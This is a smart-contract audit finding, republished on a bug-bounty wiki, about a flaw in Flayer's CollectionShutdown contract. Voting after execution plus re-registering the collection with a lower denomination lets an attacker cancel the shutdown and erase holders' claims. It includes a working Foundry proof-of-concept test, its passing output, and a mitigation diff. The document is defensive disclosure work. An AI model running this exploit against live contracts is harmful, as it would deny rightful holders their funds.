The attacker will prevent eligible users from claiming the liquidated balance
The CollectionShutdown contract allows voting after a shutdown has been executed, which can re-flag the canExecute state to true. An attacker can then re-register the collection with a lower denomination and call cancel to delete the claim data, preventing eligible users from claiming their liquidated balance.
Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/742
Found by
0x37, 0xc0ffEE, BADROBINX, OpaBatyo, Ruhum, ZeroTrust, almantare, araj, asui, dany.armstrong90, merlinboii, utsav, zzykxx
Summary
The CollectionShutdown contract has vulnerabilities allowing a malicious actor to prevent eligible users from claiming the liquidated balance after liquidation by SudoSwap.
Root Cause
- The
CollectionShutdown::vote()does not prevent voting after the collection shutdown is executed and/or during the claim state, allowing malicious actors to triggercanExecutetoTRUEafter execution. - The
CollectionShutdown::cancel()does not useparams.collectionTokento retrieve thedenomination()for validating the total supply during cancellation, which opens the door to manipulations that can bypass the checks.
Internal pre-conditions
- The collection token total supply must be within a valid limit for the shutdown condition (e.g., less than or equal to
MAX_SHUTDOWN_TOKENS). - The
denominationof the collection token for the shutdown collection is greater than 0.
External pre-conditions
- The attacker holds some portion of the collection token supply for the shutdown collection.
Attack Path
Pre-condition:
- Assume the collection token (CT) total supply is 4 CTs (
4 * 1e18 * 10 ** denom). - There are 2 holders of this supply: Lewis (2 CTs) and Max (2 CTs).
Attack:
-
Lewis notices that the collection can be shutdown and calls
CollectionShutdown::start().totalSupplymeets the condition<= MAX_SHUTDOWN_TOKENS.params.quorumVotes= 50% of totalSupply =2 * 1e18 * 1eDenom(2 CTs).- Vote for Lewis is recorded.
- The contract transfer 2 CTs of Lewis balances, and
params.shutdownVotes += 2 CTs. - Now
params.canExecuteis flagged to beTRUEsinceparams.shutdownVotes (2CTs) >= params.quorumVotes (2 CTs).
-
Time passes, no cancellation occurs, and the owner executes the pending shutdown.
- The NFTs are liquidated on SudoSwap.
params.quorumVotesremains the same as there is no change in supply.- The collection is sunset in the
Locker, deleting_collectionToken[_collection]andcollectionInitialized[_collection]. params.canExecuteis flagged back toFALSE.
After some or all NFTs are sold on SudoSwap:
-
Max monitors the NFT sales and prepares for the attack.
-
Max splits their balance of CTs to his another wallet and remains holding a small amount to perform the attack.
-
Max, who never voted, calls
CollectionShutdown::vote()to flagparams.canExecuteback toTRUE.- The contract transfer small amount of CTs of Max balances.
- Since
params.shutdownVotes >= params.quorumVotes(due to Lewis' shutdown),params.canExecuteis set back toTRUE.
-
Max registers the target collection again, manipulating the token's
denominationvia theLocker::createCollection().- Max specifies a
denominationlower than the previous one (e.g., previously 4, now 0).
- Max specifies a
-
Max invokes
CollectionShutdown::cancel()to remove all properties of_collectionParams[_collection], including_collectionParams[].availableClaim.- The following check passes:
Solidity File: CollectionShutdown.sol 398: if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) { 399: revert InsufficientTotalSupplyToCancel(); 400: }- Since the new denomination is 0, the check becomes:
Solidity (4 * 1e18 * 10 ** 4) <= (4 * 1e18 * 10 ** 0): FALSE
Result: This check passes, allowing Max to cancel and prevent Lewis from claiming their eligible ETH from SudoSwap.
Impact
The attack allows a malicious actor to prevent legitimate token holders from claiming their eligible NFT sale proceeds from SudoSwap. This could lead to significant financial losses for affected users.
PoC
Setup
- Update the
CollectionShutdown.t::constructor()to mint CTs token with denominator more that 0
File: CollectionShutdown.t.sol
29: constructor () forkBlock(19_425_694) {
30: // Deploy our platform contracts
31: _deployPlatform();
---
-35: locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
+35: locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 4);
36:
- Put the snippet below into the protocol test suite:
flayer/test/utils/CollectionShutdown.t.sol - Run test:
forge test --mt test_CanBlockEligibleUsersToClaim -vvv
Coded PoC
<details> <summary>Show Coded PoC</summary> function test_CanBlockEligibleUsersToClaim() public {
address Lewis = makeAddr("Lewis");
address Max = makeAddr("Max");
address MaxRecovery = makeAddr("MaxRecovery");
// -- Before Attack --
// Mint some tokens to our test users -> totalSupply: 4 ethers (can shutdown)
vm.startPrank(address(locker));
collectionToken.mint(Lewis, 2 ether * 10 ** collectionToken.denomination());
collectionToken.mint(Max, 2 ether * 10 ** collectionToken.denomination());
vm.stopPrank();
// Start shutdown with their vore that has passed the threshold quorum
vm.startPrank(Lewis);
uint256 lewisVoteBalance = 2 ether * 10 ** collectionToken.denomination();
collectionToken.approve(address(collectionShutdown), type(uint256).max);
collectionShutdown.start(address(erc721b));
assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(Lewis)), lewisVoteBalance);
vm.stopPrank();
// Confirm that we can now execute
assertCanExecute(address(erc721b), true);
// Mint NFTs into our collection {Locker} and process the execution
uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
collectionShutdown.execute(address(erc721b), tokenIds);
// Confirm that the {CollectionToken} has been sunset from our {Locker}
assertEq(address(locker.collectionToken(address(erc721b))), address(0));
// After we have executed, we should no longer have an execute flag
assertCanExecute(address(erc721b), false);
// Mock the process of the Sudoswap pool liquidating the NFTs for ETH. This will
// provide 0.5 ETH <-> 1 {CollectionToken}.
_mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 2 ether);
// Ensure that all state are SET
ICollectionShutdown.CollectionShutdownParams memory shutdownParamsBefore = collectionShutdown.collectionParams(address(erc721b));
assertEq(shutdownParamsBefore.shutdownVotes, lewisVoteBalance);
assertEq(shutdownParamsBefore.sweeperPool, SUDOSWAP_POOL);
assertEq(shutdownParamsBefore.quorumVotes, lewisVoteBalance);
assertEq(shutdownParamsBefore.canExecute, false);
assertEq(address(shutdownParamsBefore.collectionToken), address(collectionToken));
assertEq(shutdownParamsBefore.availableClaim, 2 ether);
// -- Attack --
uint256 balanceOfMaxBefore = collectionToken.balanceOf(address(Max));
uint256 amountSpendForAttack = 1;
// Transfer almost full funds to their second account and perform with small amount
vm.prank(Max);
collectionToken.transfer(address(MaxRecovery), balanceOfMaxBefore - amountSpendForAttack);
uint256 balanceOfMaxAfter = collectionToken.balanceOf(address(Max));
assertEq(balanceOfMaxAfter, amountSpendForAttack);
// Max votes even it is in the claim state to flag the `canExecute` back to Trrue
vm.startPrank(Max);
collectionToken.approve(address(collectionShutdown), type(uint256).max);
collectionShutdown.vote(address(erc721b));
assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(Max)), amountSpendForAttack);
vm.stopPrank();
// Confirm that Max can now flag `canExecute` back to `TRUE`
assertCanExecute(address(erc721b), true);
// Attack to delete all varaibles track, resulting others cannot claim thier eligible ethers
vm.startPrank(Max);
locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
collectionShutdown.cancel(address(erc721b));
vm.stopPrank();
// Ensure that all state are DELETE
ICollectionShutdown.CollectionShutdownParams memory shutdownParamsAfter = collectionShutdown.collectionParams(address(erc721b));
assertEq(shutdownParamsAfter.shutdownVotes, 0);
assertEq(shutdownParamsAfter.sweeperPool, address(0));
assertEq(shutdownParamsAfter.quorumVotes, 0);
assertEq(shutdownParamsAfter.canExecute, false);
assertEq(address(shutdownParamsAfter.collectionToken), address(0));
assertEq(shutdownParamsAfter.availableClaim, 0);
// -- After Attack --
vm.expectRevert();
vm.prank(Lewis);
collectionShutdown.claim(address(erc721b), payable(Lewis));
}
Result
Results of running the test:
Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
[PASS] test_CanBlockEligibleUsersToClaim() (gas: 1491640)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.96s (3.48ms CPU time)
Ran 1 test suite in 11.17s (10.96s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Mitigation
- Add validations to prevent manipulation of the CT denomination, and restrict voting during the claim state to prevent re-triggering of
params.canExecute.
function vote(address _collection) public nonReentrant whenNotPaused {
// Ensure that we are within the shutdown window
CollectionShutdownParams memory params = _collectionParams[_collection];
if (params.quorumVotes == 0) revert ShutdownProccessNotStarted();
+ if (params.sweeperPool != address(0)) revert ShutdownExecuted();
_collectionParams[_collection] = _vote(_collection, params);
}
- Update the usage of token denomination to use the token depens on the tracked token to inconsisten value.
function cancel(address _collection) public whenNotPaused {
// Ensure that the vote count has reached quorum
CollectionShutdownParams memory params = _collectionParams[_collection];
if (!params.canExecute) revert ShutdownNotReachedQuorum();
// Check if the total supply has surpassed an amount of the initial required
// total supply. This would indicate that a collection has grown since the
// initial shutdown was triggered and could result in an unsuspected liquidation.
- if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) {
revert InsufficientTotalSupplyToCancel();
}
// Remove our execution flag
delete _collectionParams[_collection];
emit CollectionShutdownCancelled(_collection);
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
What the attacker needed
Attacker holds some collection tokens; Collection token total supply within shutdown limit; Collection token denomination greater than 0; Shutdown has been executed and NFTs liquidated
The fix
The vote function should revert if the shutdown has already been executed, and the cancel function should use the denomination from the stored collection token rather than the current one.
How it was found
- Lewis calls start() to initiate shutdown, which sets canExecute to true.
- The owner executes the shutdown, liquidating NFTs on SudoSwap and resetting canExecute to false.
- Max transfers most of their collection tokens to another wallet, keeping a small amount.
- Max calls vote() with the small amount, which sets canExecute back to true because the previous votes still meet quorum.
- Max re-registers the collection with a lower denomination (e.g., 0) via Locker::createCollection().
- Max calls cancel(), which passes the supply check due to the lower denomination and deletes all shutdown parameters, including availableClaim.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a collection of NFTs is shut down, the contract holds the money from selling the NFTs so that people who voted can later claim their share. This report shows that someone can vote again after the shutdown is finished, which tricks the contract into thinking it can be cancelled. By re-creating the collection with a different setting and then cancelling, the attacker erases the record of who is owed money, so the rightful users cannot claim it.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.